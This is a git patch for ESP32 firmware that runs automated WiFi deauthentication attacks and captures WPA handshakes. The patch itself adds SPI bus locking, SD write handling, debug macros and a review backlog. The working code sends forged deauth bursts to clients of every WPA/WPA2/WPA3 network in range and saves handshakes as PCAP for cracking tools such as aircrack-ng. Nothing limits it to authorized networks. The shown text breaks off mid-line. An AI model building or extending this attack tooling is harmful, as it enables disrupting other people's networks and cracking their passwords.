From 7e93324288274ef721ad13ffee6992ac85933e7f Mon Sep 17 00:00:00 2001 From: drjones Date: Sat, 21 Mar 2026 17:59:45 -0700 Subject: [PATCH] handshake-capture-c6: SPI bus lock, SD v1.0.2 diagnostics, MUST_DO review - SPI_Bus_Lock: serialize LCD + SD on shared SPI; pause display during SD - SD_Init after WiFi scan; SD_IsReady gating; serial [SD]/[CAP] diagnostics - MUST_DO_IMPROVEMENTS.md full firmware review backlog; README link - Bump HANDSHAKE_FIRMWARE_VERSION to 1.0.2 (header) Made-with: Cursor --- handshake-capture-c6/Display_ST7789.cpp | 12 +++ handshake-capture-c6/HandshakeCapture.cpp | 101 ++++++++---------- handshake-capture-c6/HandshakeCapture.h | 33 +++++- handshake-capture-c6/LVGL_Driver.cpp | 2 + handshake-capture-c6/MUST_DO_IMPROVEMENTS.md | 97 +++++++++++++++++ handshake-capture-c6/README.md | 14 ++- handshake-capture-c6/SD_Card.cpp | 54 +++++++++- handshake-capture-c6/SD_Card.h | 1 + handshake-capture-c6/SPI_Bus_Lock.cpp | 37 +++++++ handshake-capture-c6/SPI_Bus_Lock.h | 9 ++ handshake-capture-c6/WiFi_Scanner.cpp | 29 ++++- handshake-capture-c6/handshake-capture-c6.ino | 13 ++- 12 files changed, 331 insertions(+), 71 deletions(-) create mode 100644 handshake-capture-c6/MUST_DO_IMPROVEMENTS.md create mode 100644 handshake-capture-c6/SPI_Bus_Lock.cpp create mode 100644 handshake-capture-c6/SPI_Bus_Lock.h diff --git a/handshake-capture-c6/Display_ST7789.cpp b/handshake-capture-c6/Display_ST7789.cpp index 0b5e930..9550831 100644 --- a/handshake-capture-c6/Display_ST7789.cpp +++ b/handshake-capture-c6/Display_ST7789.cpp @@ -1,46 +1,56 @@ #include "Display_ST7789.h" +#include "SPI_Bus_Lock.h" #define SPI_WRITE(_dat) SPI.transfer(_dat) #define SPI_WRITE_Word(_dat) SPI.transfer16(_dat) void SPI_Init() { + SPIBus_Init(); SPI.begin(EXAMPLE_PIN_NUM_SCLK, EXAMPLE_PIN_NUM_MISO, EXAMPLE_PIN_NUM_MOSI); } void LCD_WriteCommand(uint8_t Cmd) { + SPIBus_Lock(); SPI.beginTransaction(SPISettings(SPIFreq, MSBFIRST, SPI_MODE0)); digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, LOW); digitalWrite(EXAMPLE_PIN_NUM_LCD_DC, LOW); SPI_WRITE(Cmd); digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, HIGH); SPI.endTransaction(); + SPIBus_Unlock(); } void LCD_WriteData(uint8_t Data) { + SPIBus_Lock(); SPI.beginTransaction(SPISettings(SPIFreq, MSBFIRST, SPI_MODE0)); digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, LOW); digitalWrite(EXAMPLE_PIN_NUM_LCD_DC, HIGH); SPI_WRITE(Data); digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, HIGH); SPI.endTransaction(); + SPIBus_Unlock(); } void LCD_WriteData_Word(uint16_t Data) { + SPIBus_Lock(); SPI.beginTransaction(SPISettings(SPIFreq, MSBFIRST, SPI_MODE0)); digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, LOW); digitalWrite(EXAMPLE_PIN_NUM_LCD_DC, HIGH); SPI_WRITE_Word(Data); digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, HIGH); SPI.endTransaction(); + SPIBus_Unlock(); } void LCD_WriteData_nbyte(uint8_t* SetData, uint8_t* ReadData, uint32_t Size) { + SPIBus_Lock(); SPI.beginTransaction(SPISettings(SPIFreq, MSBFIRST, SPI_MODE0)); digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, LOW); digitalWrite(EXAMPLE_PIN_NUM_LCD_DC, HIGH); SPI.transferBytes(SetData, ReadData, Size); digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, HIGH); SPI.endTransaction(); + SPIBus_Unlock(); } void LCD_Reset(void) { @@ -158,11 +168,13 @@ void LCD_SetCursor(uint16_t Xstart, uint16_t Ystart, uint16_t Xend, uint16_t Yen } void LCD_addWindow(uint16_t Xstart, uint16_t Ystart, uint16_t Xend, uint16_t Yend, uint16_t* color) { + SPIBus_Lock(); uint16_t Show_Width = Xend - Xstart + 1; uint16_t Show_Height = Yend - Ystart + 1; uint32_t numBytes = Show_Width * Show_Height * sizeof(uint16_t); LCD_SetCursor(Xstart, Ystart, Xend, Yend); LCD_WriteData_nbyte((uint8_t*)color, nullptr, numBytes); + SPIBus_Unlock(); } void Backlight_Init(void) { diff --git a/handshake-capture-c6/HandshakeCapture.cpp b/handshake-capture-c6/HandshakeCapture.cpp index 29c5e79..c950456 100644 --- a/handshake-capture-c6/HandshakeCapture.cpp +++ b/handshake-capture-c6/HandshakeCapture.cpp @@ -4,11 +4,6 @@ #include #include -// Set 0 to use STA-only (test deauth + promiscuous on your core first). -#ifndef USE_SOFTAP -#define USE_SOFTAP 1 -#endif - // ─── Internal prototypes ─── static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type); @@ -33,18 +28,10 @@ CapturePhase capturePhase = PHASE_OBSERVING; // ─── Phase timing ─── -// Longer windows: handshakes often arrive a few seconds after deauth; sweep all BSSIDs over time. -#define OBSERVE_DURATION_MS 8000 -#define CAPTURE_TIMEOUT_MS 20000 -#define DEAUTH_BURST_COUNT 5 -#define DEAUTH_BURST_DELAY 2 // ms between frames in a burst -#define MAX_OBSERVE_CYCLES 5 // observe→deauth→capture rounds per channel visit -#define DEAUTH_GAP_AFTER_CLIENT_MS 80 // RX window between client bursts -#define DEAUTH_GAP_AFTER_SLOT_MS 120 // RX window between AP slots // EAPOL frames from the same slot/session append to one buffer across cycles (same AP visit). static unsigned long phase_timer = 0; -// Counts completed observe windows that led to a deauth burst (1..MAX_OBSERVE_CYCLES). +// Counts completed observe windows that led to a deauth burst (1..HANDSHAKE_MAX_OBSERVE_CYCLES). static uint8_t deauth_cycle_count = 0; static int last_channel = 0; @@ -146,7 +133,7 @@ void handshakeCaptureProcessPending() { SD_Init(); } if (!SD_IsReady()) { - Serial.println("SD not ready — discarding pending PCAP"); + HANDSHAKE_LOGLN("SD not ready — discarding pending PCAP"); Ui_SetWifiStatus("SD: insert card"); discardSlotCapture(s, i); continue; @@ -162,21 +149,13 @@ void handshakeCaptureProcessPending() { filename.replace(" ", "_"); sanitizeFilenameForFat(filename); - File file = SD.open(filename.c_str(), FILE_WRITE); - bool ok = false; - if (file) { - if (file.write(s->pcap_buffer, s->pcap_size) == s->pcap_size) { - Serial.printf("Saved 4-way %s (%d bytes)\n", filename.c_str(), (int)s->pcap_size); - Ui_SetWifiStatus("4-way saved!"); - ok = true; - } else { - Serial.println("SD write failed — discarding buffer"); - Ui_SetWifiStatus("SD write err"); - } - file.close(); + bool ok = SD_WriteFileAtomic(filename.c_str(), s->pcap_buffer, s->pcap_size); + if (ok) { + HANDSHAKE_LOGF("Saved 4-way %s (%d bytes)\n", filename.c_str(), (int)s->pcap_size); + Ui_SetWifiStatus("4-way saved!"); } else { - Serial.println("SD open failed — discarding buffer"); - Ui_SetWifiStatus("SD open err"); + HANDSHAKE_LOGLN("SD save failed — discarding buffer"); + Ui_SetWifiStatus("SD save err"); } if (ok) { @@ -236,14 +215,22 @@ bool compareRSSI(const WifiNetwork& a, const WifiNetwork& b) { return a.rssi > b.rssi; } -bool isCaptureable(int index) { - if (index < 0 || index >= MAX_NETWORKS || networks[index].ssid.isEmpty()) return false; - const String& enc = networks[index].encryption; +bool isSupportedCaptureAuth(const String& enc) { if (enc == "WPA" || enc == "WPA2" || enc == "WPA/WPA2") return true; if (enc == "WPA3" || enc == "WPA2/WPA3") return true; return false; } +bool isSupportedCaptureChannel(int channel) { + return channel >= HANDSHAKE_MIN_CHANNEL && channel <= HANDSHAKE_MAX_CHANNEL; +} + +bool isCaptureable(int index) { + if (index < 0 || index >= MAX_NETWORKS || networks[index].ssid.isEmpty()) return false; + return isSupportedCaptureAuth(networks[index].encryption) && + isSupportedCaptureChannel(networks[index].ch); +} + int getCaptureableCount() { int n = 0; for (int i = 0; i < MAX_NETWORKS; i++) { @@ -254,19 +241,23 @@ int getCaptureableCount() { } static int getNextChannelSweep() { - int ch_counts[15] = {0}; + int ch_counts[HANDSHAKE_MAX_CHANNEL + 1] = {0}; for (int i = 0; i < MAX_NETWORKS; i++) { if (networks[i].ssid.isEmpty()) break; if (networks[i].handshake_captured || !isCaptureable(i)) continue; int ch = networks[i].ch; - if (ch >= 1 && ch <= 14) ch_counts[ch - 1]++; + if (isSupportedCaptureChannel(ch)) ch_counts[ch]++; } // Simple circular sweep across channels that still have targets. - int start = last_channel; - for (int step = 0; step < 14; step++) { - int ch = ((start + step) % 14) + 1; - if (ch_counts[ch - 1] > 0) return ch; + const int channel_count = HANDSHAKE_MAX_CHANNEL - HANDSHAKE_MIN_CHANNEL + 1; + int start_index = 0; + if (isSupportedCaptureChannel(last_channel)) { + start_index = (last_channel - HANDSHAKE_MIN_CHANNEL + 1) % channel_count; + } + for (int step = 0; step < channel_count; step++) { + int ch = HANDSHAKE_MIN_CHANNEL + ((start_index + step) % channel_count); + if (ch_counts[ch] > 0) return ch; } return 0; } @@ -396,9 +387,9 @@ static void sendDeauthToClient(const uint8_t* bssid, const uint8_t* client_mac) memcpy(&deauth[10], bssid, 6); memcpy(&deauth[16], bssid, 6); - for (int i = 0; i < DEAUTH_BURST_COUNT; i++) { + for (int i = 0; i < HANDSHAKE_DEAUTH_BURST_COUNT; i++) { esp_wifi_80211_tx(WIFI_IF_STA, deauth, sizeof(deauth), false); - if (i < DEAUTH_BURST_COUNT - 1) delay(DEAUTH_BURST_DELAY); + if (i < HANDSHAKE_DEAUTH_BURST_COUNT - 1) delay(HANDSHAKE_DEAUTH_BURST_DELAY_MS); } } @@ -408,17 +399,17 @@ static void sendDeauthBurstAll() { if (!s->active) continue; if (s->client_count > 0) { - Serial.printf("[%s] deauth -> %d client(s)\n", s->ssid, s->client_count); + HANDSHAKE_LOGF("[%s] deauth -> %d client(s)\n", s->ssid, s->client_count); for (uint8_t c = 0; c < s->client_count; c++) { sendDeauthToClient(s->bssid, s->clients[c].mac); - if (c + 1 < s->client_count) delay(DEAUTH_GAP_AFTER_CLIENT_MS); + if (c + 1 < s->client_count) delay(HANDSHAKE_DEAUTH_GAP_AFTER_CLIENT_MS); } } else { - Serial.printf("[%s] deauth -> broadcast (no clients mapped)\n", s->ssid); + HANDSHAKE_LOGF("[%s] deauth -> broadcast (no clients mapped)\n", s->ssid); uint8_t bcast[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; sendDeauthToClient(s->bssid, bcast); } - delay(DEAUTH_GAP_AFTER_SLOT_MS); + delay(HANDSHAKE_DEAUTH_GAP_AFTER_SLOT_MS); } } @@ -460,7 +451,7 @@ void startMultiCapture() { for (int k = 0; k < MAX_SLOTS; k++) latest_eapol_count[k] = 0; esp_wifi_set_channel(current_channel, WIFI_SECOND_CHAN_NONE); - Serial.printf("Phase 2: observing ch %d (%d target(s))\n", current_channel, filled); + HANDSHAKE_LOGF("Phase 2: observing ch %d (%d target(s))\n", current_channel, filled); } void stopCapture() { @@ -488,31 +479,31 @@ void handshakeCaptureLoop() { // Phase 2 → Phase 3 (transient burst) → Phase 4 if (capturePhase == PHASE_OBSERVING) { - if (now - phase_timer >= OBSERVE_DURATION_MS) { + if (now - phase_timer >= HANDSHAKE_OBSERVE_DURATION_MS) { int total = 0; for (int i = 0; i < MAX_SLOTS; i++) { if (slots[i].active) { - Serial.printf(" [%s] %d client(s)\n", slots[i].ssid, slots[i].client_count); + HANDSHAKE_LOGF(" [%s] %d client(s)\n", slots[i].ssid, slots[i].client_count); total += slots[i].client_count; } } - Serial.printf("Observation done: %d client(s). Sending deauth burst.\n", total); + HANDSHAKE_LOGF("Observation done: %d client(s). Sending deauth burst.\n", total); sendDeauthBurstAll(); capturePhase = PHASE_CAPTURING; phase_timer = now; deauth_cycle_count++; - Serial.println("Phase 4: capturing handshakes..."); + HANDSHAKE_LOGLN("Phase 4: capturing handshakes..."); } } // Phase 4 timeout → re-observe, or end session after MAX_OBSERVE_CYCLES deauth bursts if (capturePhase == PHASE_CAPTURING) { - if (now - phase_timer >= CAPTURE_TIMEOUT_MS) { - if (deauth_cycle_count < MAX_OBSERVE_CYCLES) { - Serial.printf("Capture timeout. Re-observing (cycle %d/%d)...\n", - (int)deauth_cycle_count + 1, MAX_OBSERVE_CYCLES); + if (now - phase_timer >= HANDSHAKE_CAPTURE_TIMEOUT_MS) { + if (deauth_cycle_count < HANDSHAKE_MAX_OBSERVE_CYCLES) { + HANDSHAKE_LOGF("Capture timeout. Re-observing (cycle %d/%d)...\n", + (int)deauth_cycle_count + 1, HANDSHAKE_MAX_OBSERVE_CYCLES); portENTER_CRITICAL(&capture_mux); for (int i = 0; i < MAX_SLOTS; i++) { if (slots[i].active) slots[i].client_count = 0; @@ -522,7 +513,7 @@ void handshakeCaptureLoop() { capturePhase = PHASE_OBSERVING; phase_timer = now; } else { - Serial.println("Max observe/deauth cycles done; stopping capture on this channel."); + HANDSHAKE_LOGLN("Max observe/deauth cycles done; stopping capture on this channel."); stopCapture(); } } @@ -639,7 +630,7 @@ static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type) { } if (is_eapol) { - if (pcapAppendSlot(s, payload, len)) { + if (s->eapol_count < HANDSHAKE_EAPOL_FRAMES && pcapAppendSlot(s, payload, len)) { s->eapol_count++; latest_eapol_count[hit_slot] = s->eapol_count; if (s->eapol_count >= HANDSHAKE_EAPOL_FRAMES) { diff --git a/handshake-capture-c6/HandshakeCapture.h b/handshake-capture-c6/HandshakeCapture.h index 3d87e07..2bcb8bc 100644 --- a/handshake-capture-c6/HandshakeCapture.h +++ b/handshake-capture-c6/HandshakeCapture.h @@ -6,9 +6,36 @@ #include /** Semantic version (Serial banner + support). */ -#define HANDSHAKE_FIRMWARE_VERSION "1.0.1" +#define HANDSHAKE_FIRMWARE_VERSION "1.0.3" -/** SD write only after this many EAPOL-Key frames (full WPA/WPA2 4-way). */ +#ifndef HANDSHAKE_DEBUG +#define HANDSHAKE_DEBUG 0 +#endif + +#ifndef USE_SOFTAP +#define USE_SOFTAP 0 +#endif + +#define HANDSHAKE_MIN_CHANNEL 1 +#define HANDSHAKE_MAX_CHANNEL 14 +#define HANDSHAKE_OBSERVE_DURATION_MS 8000UL +#define HANDSHAKE_CAPTURE_TIMEOUT_MS 20000UL +#define HANDSHAKE_CHANNEL_TIMEOUT_MS 150000UL +#define HANDSHAKE_DEAUTH_BURST_COUNT 5 +#define HANDSHAKE_DEAUTH_BURST_DELAY_MS 2 +#define HANDSHAKE_MAX_OBSERVE_CYCLES 5 +#define HANDSHAKE_DEAUTH_GAP_AFTER_CLIENT_MS 80 +#define HANDSHAKE_DEAUTH_GAP_AFTER_SLOT_MS 120 + +#if HANDSHAKE_DEBUG +#define HANDSHAKE_LOGF(...) Serial.printf(__VA_ARGS__) +#define HANDSHAKE_LOGLN(msg) Serial.println(msg) +#else +#define HANDSHAKE_LOGF(...) do { } while (0) +#define HANDSHAKE_LOGLN(msg) do { } while (0) +#endif + +/** Heuristic threshold only; frames are not validated as distinct 4-way steps. */ #define HANDSHAKE_EAPOL_FRAMES 4 // Two APs at once: less on-air contention, more time per target before rotating. @@ -82,6 +109,8 @@ bool wasBssidCaptured(const uint8_t* bssid); void scanNetworksSortedByRSSI(); void startMultiCapture(); void stopCapture(); +bool isSupportedCaptureAuth(const String& encryption); +bool isSupportedCaptureChannel(int channel); bool isCaptureable(int index); void handshakeCaptureLoop(); int getCaptureableCount(); diff --git a/handshake-capture-c6/LVGL_Driver.cpp b/handshake-capture-c6/LVGL_Driver.cpp index cafa31f..bf13b09 100644 --- a/handshake-capture-c6/LVGL_Driver.cpp +++ b/handshake-capture-c6/LVGL_Driver.cpp @@ -1,4 +1,5 @@ #include "LVGL_Driver.h" +#include "SPI_Bus_Lock.h" static lv_disp_draw_buf_t draw_buf; static lv_color_t buf1[LVGL_BUF_LEN]; @@ -187,5 +188,6 @@ void Lvgl_Init(void) { } void Timer_Loop(void) { + if (SPIBus_IsDisplayPaused()) return; lv_timer_handler(); } diff --git a/handshake-capture-c6/MUST_DO_IMPROVEMENTS.md b/handshake-capture-c6/MUST_DO_IMPROVEMENTS.md new file mode 100644 index 0000000..b0ffb44 --- /dev/null +++ b/handshake-capture-c6/MUST_DO_IMPROVEMENTS.md @@ -0,0 +1,97 @@ +# Must-do improvements (firmware review) + +Full pass over `handshake-capture-c6`: capture logic, SD, UI, display SPI, and main loop. Items below are **simple in concept** (some need careful implementation). Ordered by **severity**. + +--- + +## 1. **Serialize shared SPI (LCD + SD)** — *critical* + +**What:** ST7789 and the SD card share `SPI` (MOSI/SCLK/MISO; separate CS). **LVGL** flushes the display from `Timer_Loop()` → `LCD_*` → SPI, while **`SD.open` / `write` / `close`** use the same bus. + +**Risk:** Interleaved transactions corrupt SD I/O or garble a display frame → failed mounts, bogus PCAP writes, or rare crashes. + +**Do:** Add a single **mutex** (e.g. `portMUX_TYPE` or FreeRTOS mutex) that **every** LCD SPI transfer and **every** SD filesystem call takes around the full operation (including `SD.begin` path if the core does SPI under the hood). Alternatively: **pause LVGL** (skip `lv_timer_handler` / block flush) for the duration of each SD block in `handshakeCaptureProcessPending()`. + +**Files:** `Display_ST7789.cpp`, `SD_Card.cpp`, `handshake-capture-c6.ino` (or one small `spi_bus_lock.h` used by both). + +--- + +## 2. **Cap or validate `eapol_count` semantics** — *high* + +**What:** Any unencrypted EAPOL-shaped frame increments the counter. **Four frames ≠ guaranteed one valid 4-way** (could be duplicates, other STAs, or rekeys). + +**Do (minimal):** Document the limitation in `README.md`. **Better (still small):** stop incrementing after `HANDSHAKE_EAPOL_FRAMES` (saves buffer space and makes UI honest). **Better later:** parse EAPOL Key Info / replay counter to count **distinct** steps of the handshake (more code). + +**Files:** `HandshakeCapture.cpp` (promisc callback EAPOL branch). + +--- + +## 3. **2.4 GHz–only channel sweep** — *high for real environments* + +**What:** `getNextChannelSweep()` only considers channels **1–14**. Scan results on **5 GHz** (or 6 GHz, if ever reported) are never visited, so those BSSIDs are never captured. + +**Do:** Either **exclude** non-2.4G networks from the UI / `isCaptureable` path with a clear status, or **extend** sweep to supported `WiFi.channel()` values for your core/regulatory config (larger change: channel hop rules, dwell time). + +**Files:** `HandshakeCapture.cpp` (`getNextChannelSweep`, `startMultiCapture`). + +--- + +## 4. **Production vs debug serial** — *medium* + +**What:** `[SD]`, `[CAP]`, `[SETUP]` strings and deauth logs are useful on the bench but noisy and slightly slow in the field. + +**Do:** Wrap verbose `Serial.printf` / `println` in `#ifdef HANDSHAKE_DEBUG` (or a build flag) default **off** for “release” builds; keep boot **version line** always. + +**Files:** `SD_Card.cpp`, `HandshakeCapture.cpp`, `handshake-capture-c6.ino`. + +--- + +## 5. **`USE_SOFTAP` default** — *medium* + +**What:** `WiFi.mode(WIFI_AP_STA)` runs a soft AP **without** a clear use case in this sketch (capture is STA + promisc). Extra RF/channel behavior and attack surface. + +**Do:** Default `#define USE_SOFTAP 0` unless you explicitly need AP mode; document how to enable for lab tests. + +**Files:** `HandshakeCapture.cpp`, `README.md`. + +--- + +## 6. **Long SD write vs watchdog / UI** — *medium* + +**What:** Writing ~4 KB PCAP can block the main loop for tens of ms. LVGL stalls; on some configs the **task watchdog** could trip if SD is slow or the card hangs. + +**Do:** After large `file.write`, optional `yield()`; if WDT issues appear, `esp_task_wdt_reset()` in the SD path **only** with measured care, or increase WDT timeout in `setup`. Prefer fixing SPI contention (#1) first. + +**Files:** `HandshakeCapture.cpp` (`handshakeCaptureProcessPending`), `setup()`. + +--- + +## 7. **Rescan invalidates “ready” list vs slots** — *low* + +**What:** During capture, the network list is static. If user triggers rescan (or you add a button later), `network_index` in slots could desync from rebuilt `networks[]`. + +**Do:** Today there is no mid-capture rescan from UI — **document** that. If rescan is added, **stop capture** first and clear slots. + +**Files:** `README.md` / future UI code. + +--- + +## 8. **Magic numbers centralization** — *low (maintainability)* + +**What:** Timing (`OBSERVE_DURATION_MS`, `CAPTURE_TIMEOUT_MS`, …) and `CHANNEL_TIMEOUT_MS` in the `.ino` are related but defined in two places; easy to desync. + +**Do:** Move all timing `#define`s to one header (e.g. `HandshakeCapture.h` or `capture_config.h`) and include from the sketch. + +**Files:** `HandshakeCapture.cpp`, `handshake-capture-c6.ino`. + +--- + +### Already in decent shape + +- Spinlock around promiscuous vs main-loop slot state; SD I/O only on main loop. +- `SD_IsReady()` vs flaky `cardType()` after WiFi; FAT filename sanitization; discard on failed save (no pending deadlock). +- PCAP fixed buffer; append failure doesn’t increment EAPOL count. + +--- + +*Add new items here as you close these; bump `HANDSHAKE_FIRMWARE_VERSION` when behavior changes.* diff --git a/handshake-capture-c6/README.md b/handshake-capture-c6/README.md index 0ad1a35..bff4673 100644 --- a/handshake-capture-c6/README.md +++ b/handshake-capture-c6/README.md @@ -4,15 +4,19 @@ Production-oriented WiFi 4-way handshake capture for Waveshare ESP32-C6-LCD-1.47 **Firmware version:** `HANDSHAKE_FIRMWARE_VERSION` in `HandshakeCapture.h` (also printed on serial at boot). +**Review backlog:** prioritized fixes from a full firmware pass → **`MUST_DO_IMPROVEMENTS.md`**. + ## Features - **SD required for capture:** No card, or open/write failure → pending PCAP is **discarded** and the slot freed (no infinite pending). Hot-insert: sketch retries `SD_Init()` before each capture round. - **SD storage:** Saves **only complete 4-way handshakes** as `.pcap` (LINKTYPE_IEEE802_11): `4way___s.pcap`. Filenames are **FAT-sanitized**. No PMKID-only or partial EAPOL dumps. - **Auto-deauth:** Bursts toward mapped clients to provoke a full 4-way. -- **Display:** **Green** = pending, **red** = 4-way saved to SD. +- **Display:** **Green** = targetable 2.4 GHz WPA/WPA2/WPA3 AP, **gray** = shown but skipped, **red** = 4-way saved to SD. - **No web UI:** Capture-only device. - **WPA / WPA2 / WPA3 PSK / mixed** (when the core reports them). Skips Open, WEP, WPA2-Enterprise. +- **2.4 GHz only capture sweep:** channels `1-14` are targeted. Secure APs seen on `5/6 GHz` stay visible in the list but are marked `5G+` and skipped. - **BSSID cache:** Captured BSSIDs stay red across rescans. +- **Shared SPI protection:** LCD flushes and SD filesystem calls now serialize on one bus lock; SD writes also pause LVGL updates for the duration of the transaction. **Convert:** `hcxpcapngtool` / Wireshark / aircrack-ng expect PCAP with EAPOL-Key frames; a full 4-way is included in each saved file (plus one target beacon when available). @@ -20,7 +24,8 @@ Production-oriented WiFi 4-way handshake capture for Waveshare ESP32-C6-LCD-1.47 - **Not mergeable across random reconnects:** EAPOL messages from *different* 4-way runs (different nonces / MIC context) usually **cannot** be stitched into one crackable handshake. Tools need a **coherent** set for that AP↔STA association attempt. - **Within one visit, frames can trickle in:** While tuned to a channel, the device keeps **one PCAP buffer per target AP**. If the client reconnects several times during the same session, **all EAPOL frames append** until either four are seen (then SD save) or the channel round ends without four (buffer dropped — no file). -- **Fewer than four frames:** Some attacks (e.g. **PMKID in message 1**, or classic **M1+M2** with beacon) need fewer frames, but this firmware **only saves on four** so every file is a clean full 4-way for your earlier requirement. +- **EAPOL counting is still heuristic:** The firmware saves after **four unencrypted EAPOL-shaped frames** for that AP buffer, then stops counting. It still does **not** validate distinct message numbers, replay counters, or rekeys. +- **Fewer than four frames:** Some attacks (e.g. **PMKID in message 1**, or classic **M1+M2** with beacon) need fewer frames, but this firmware **only saves on four** so every file aims to be a clean full 4-way for your earlier requirement. ## Hardware @@ -49,13 +54,16 @@ arduino-cli upload \ Use `arduino-cli board list` to find the correct port. +For bench builds, set `HANDSHAKE_DEBUG 1` in `HandshakeCapture.h` to restore verbose serial logs. `USE_SOFTAP` defaults to `0`; only turn it on for lab experiments where you explicitly want `WIFI_AP_STA`. + ## Flow -1. Boot → scan → display networks (green) +1. Boot → scan → display networks (`green` targetable, `gray` skipped) 2. Channel sweep + **up to 2 WPA APs at a time** on that channel; **map clients → deauth burst → listen** (several rounds per visit) 3. PCAP grows in RAM; **SD write only when 4 EAPOL-Key frames** are seen for that AP 4. On save → mark red; **refill slots** with other networks on the same channel, then **next channel** until everyone captured or timed out 5. If a visit ends without 4 EAPOL for an AP, that buffer is discarded (no partial PCAP); the next sweep can try again +6. Mid-capture rescans are intentionally not exposed in the UI; if you add one later, stop capture first and clear active slots before rebuilding `networks[]` ## Production checklist diff --git a/handshake-capture-c6/SD_Card.cpp b/handshake-capture-c6/SD_Card.cpp index 76920e2..bfd11ec 100644 --- a/handshake-capture-c6/SD_Card.cpp +++ b/handshake-capture-c6/SD_Card.cpp @@ -1,30 +1,80 @@ #include "SD_Card.h" #include "Display_ST7789.h" +#include "HandshakeCapture.h" +#include "SPI_Bus_Lock.h" uint16_t SDCard_Size = 0; static bool g_sd_ready = false; +static bool s_sd_vfs_was_open = false; + +static void beginSDOperation() { + SPIBus_SetDisplayPaused(true); + SPIBus_Lock(); +} + +static void endSDOperation() { + SPIBus_Unlock(); + SPIBus_SetDisplayPaused(false); +} bool SD_IsReady() { return g_sd_ready; } bool SD_Init() { + beginSDOperation(); g_sd_ready = false; pinMode(SD_CS, OUTPUT); digitalWrite(SD_CS, HIGH); // Shared SPI with ST7789: ensure display CS idle so SD sees a clean bus. digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, HIGH); + if (s_sd_vfs_was_open) { + SD.end(); + s_sd_vfs_was_open = false; + HANDSHAKE_LOGLN("[SD] previous mount closed before re-begin"); + } + + HANDSHAKE_LOGF("[SD] begin(cs=%d)...\n", SD_CS); if (!SD.begin(SD_CS, SPI)) { - Serial.println("SD init failed"); + HANDSHAKE_LOGLN("[SD] FAIL: SD.begin() returned false"); + endSDOperation(); return false; } + uint8_t ct = (uint8_t)SD.cardType(); + HANDSHAKE_LOGF("[SD] cardType=%u (0=NONE)\n", (unsigned)ct); if (SD.cardType() == CARD_NONE) { - Serial.println("No SD card"); + HANDSHAKE_LOGLN("[SD] FAIL: CARD_NONE after begin"); SD.end(); + s_sd_vfs_was_open = false; + endSDOperation(); return false; } g_sd_ready = true; + s_sd_vfs_was_open = true; SDCard_Size = SD.totalBytes() / (1024 * 1024); + HANDSHAKE_LOGF("[SD] OK size=%u MiB ready=%d\n", (unsigned)SDCard_Size, (int)g_sd_ready); + endSDOperation(); return true; } + +bool SD_WriteFileAtomic(const char* path, const uint8_t* data, size_t len) { + if (path == nullptr || data == nullptr || len == 0) return false; + + beginSDOperation(); + + bool ok = false; + File file = SD.open(path, FILE_WRITE); + if (file) { + ok = (file.write(data, len) == len); + file.close(); + } + if (!ok) { + g_sd_ready = false; + } + + endSDOperation(); + + if (len >= 1024) yield(); + return ok; +} diff --git a/handshake-capture-c6/SD_Card.h b/handshake-capture-c6/SD_Card.h index 0132afe..a280710 100644 --- a/handshake-capture-c6/SD_Card.h +++ b/handshake-capture-c6/SD_Card.h @@ -15,3 +15,4 @@ bool SD_Init(); * with LCD+SD sharing SPI, cardType() can spuriously read CARD_NONE and falsely show "insert SD". */ bool SD_IsReady(); +bool SD_WriteFileAtomic(const char* path, const uint8_t* data, size_t len); diff --git a/handshake-capture-c6/SPI_Bus_Lock.cpp b/handshake-capture-c6/SPI_Bus_Lock.cpp new file mode 100644 index 0000000..a43ff56 --- /dev/null +++ b/handshake-capture-c6/SPI_Bus_Lock.cpp @@ -0,0 +1,37 @@ +#include "SPI_Bus_Lock.h" +#include +#include + +static SemaphoreHandle_t s_spi_bus_mutex = nullptr; +static volatile bool s_display_paused = false; + +static void ensureMutex() { + if (s_spi_bus_mutex == nullptr) { + s_spi_bus_mutex = xSemaphoreCreateRecursiveMutex(); + } +} + +void SPIBus_Init() { + ensureMutex(); +} + +void SPIBus_Lock() { + ensureMutex(); + if (s_spi_bus_mutex != nullptr) { + xSemaphoreTakeRecursive(s_spi_bus_mutex, portMAX_DELAY); + } +} + +void SPIBus_Unlock() { + if (s_spi_bus_mutex != nullptr) { + xSemaphoreGiveRecursive(s_spi_bus_mutex); + } +} + +void SPIBus_SetDisplayPaused(bool paused) { + s_display_paused = paused; +} + +bool SPIBus_IsDisplayPaused() { + return s_display_paused; +} diff --git a/handshake-capture-c6/SPI_Bus_Lock.h b/handshake-capture-c6/SPI_Bus_Lock.h new file mode 100644 index 0000000..3f1629c --- /dev/null +++ b/handshake-capture-c6/SPI_Bus_Lock.h @@ -0,0 +1,9 @@ +#pragma once + +#include + +void SPIBus_Init(); +void SPIBus_Lock(); +void SPIBus_Unlock(); +void SPIBus_SetDisplayPaused(bool paused); +bool SPIBus_IsDisplayPaused(); diff --git a/handshake-capture-c6/WiFi_Scanner.cpp b/handshake-capture-c6/WiFi_Scanner.cpp index 4e81671..bb504c5 100644 --- a/handshake-capture-c6/WiFi_Scanner.cpp +++ b/handshake-capture-c6/WiFi_Scanner.cpp @@ -10,9 +10,17 @@ void WiFiScanner_Refresh(void) { scanNetworksSortedByRSSI(); int count = 0; + int captureable = 0; + int offband_secure = 0; for (int i = 0; i < MAX_NETWORKS; i++) { if (networks[i].ssid.isEmpty()) break; count++; + if (isCaptureable(i)) { + captureable++; + } else if (isSupportedCaptureAuth(networks[i].encryption) && + !isSupportedCaptureChannel(networks[i].ch)) { + offband_secure++; + } } if (count <= 0) { @@ -22,20 +30,33 @@ void WiFiScanner_Refresh(void) { } static char status_text[64]; - snprintf(status_text, sizeof(status_text), "%d networks", count); + if (offband_secure > 0) { + snprintf(status_text, sizeof(status_text), "%d nets, %d tgt, %d off-band", + count, captureable, offband_secure); + } else { + snprintf(status_text, sizeof(status_text), "%d nets, %d tgt", count, captureable); + } Ui_SetWifiStatus(status_text); for (int i = 0; i < count; i++) { char line[48]; - snprintf(line, sizeof(line), "%02d. %s 